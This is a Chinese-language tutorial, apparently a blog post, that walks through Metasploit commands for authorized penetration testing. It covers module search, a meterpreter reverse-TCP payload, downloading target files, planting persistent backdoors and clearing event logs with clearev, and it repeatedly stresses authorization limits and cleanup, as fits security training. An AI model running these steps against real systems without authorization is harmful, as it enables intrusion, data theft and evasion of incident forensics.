拿到一台授权测试的目标机,从进控制台到拿到会话,Metasploit 的命令其实就那么几条。真正容易翻车的地方不在命令拼写,而在参数配错、模块选错、以及事后忘了收尾。下面按实操顺序把关键命令串一遍。
进入控制台与模块检索


启动交互界面是全部操作的前提,终端里敲:
进去之后第一件事是找模块。search 支持关键词和路径片段,比如查 Windows SMB 相关漏洞:
search exploit/windows/smb
检索结果里的 rank 列值得看一眼,excellent 和 great 级别的模块成功率通常更高,manual 或 average 的建议先在实验环境验证。这里有个坑:search 匹配的是模块元数据,关键词太宽会刷出几百条,加上平台或类型前缀能显著收窄范围。
加载模块与参数配置
选定目标后 use 负责加载。以 Apache CGI 场景为例:
use exploit/multi/http/apache_mod_cgi
加载完别急着打,先 info 看一遍必填项和默认值。RHOSTS 是目标地址,配置方式:
set RHOSTS 192.168.1.100
payload 决定拿到会话后的形态,反向 TCP 是常见选择:
set payload windows/meterpreter/reverse_tcp
反向连接要求目标能回连到你的 LHOST,NAT 环境下必须把 LHOST 设成目标可达的那个地址,设成 127.0.0.1 是最典型的失败原因。show options 可以核对所有参数是否齐全。

触发利用与会话操作
exploit 发起攻击,成功后落到 meterpreter 会话。sysinfo 看系统版本和架构,download 把目标文件拉回本地。
会话里的操作要克制。授权范围通常只覆盖特定主机和特定时段,越界取数据会直接让整个测试失去合规基础。
模块切换与状态查看
一次验证往往要在多个模块间来回。back 退回上一层,不丢已配置的全局变量;info 随时查模块说明和作者、参考链接。
反复 use/set 之后容易忘记当前上下文,这时候 sessions -l 列出所有活动会话,sessions -i 编号 切回指定会话。

保持模块时效性
漏洞库会过期,模块会失效。update 同步最新数据库,让检索结果覆盖近期披露的威胁。
需要提醒的是,update 拉取的是框架和模块仓库的更新,不等于目标系统补丁状态。测之前先用 nmap 或系统自身命令确认目标版本,再决定打哪个模块,比盲目刷模块列表有效得多。
后渗透阶段的持久化与痕迹清理
拿到会话只是开始。persistence 用于创建持久后门,clearev 清事件日志。这两个命令的破坏性都不小。
persistence 会在目标上留启动项或服务,clearev 会抹掉系统日志,直接影响蓝队的溯源能力。除非授权书里明确写了持久化和日志清理,否则不建议在生产环境执行。真要验证持久化机制,在隔离的靶机环境做,测完手动还原快照。

常见报错与排查方向
连接超时先查防火墙和路由,确认目标端口是否可达;
模块执行后没有会话,多半是 payload 架构不匹配,x64 目标配 x86 payload 不一定失败,但成功率会掉;
权限不足导致模块中途退出,检查当前会话的权限级别,必要时先提权。
这些问题的共同点是:报错信息通常不会直接告诉你根因,需要结合 show options 和模块 info 里的平台要求逐项比对。
验证是否真正成功
判定一次渗透验证是否有效,不看有没有弹出会话,而看是否完成了预设目标。比如验证某漏洞可被利用,标准是能在目标上执行一条无害命令并拿到预期回显。
测试完成后,用 sessions -K 关闭所有会话,确认目标上没有遗留进程和文件。这一步经常被跳过,但它是区分专业测试和随意扫描的分界线。
命令手册的价值在于把复杂流程标准化,减少人为失误。但工具本身不判断授权边界,那部分只能靠人。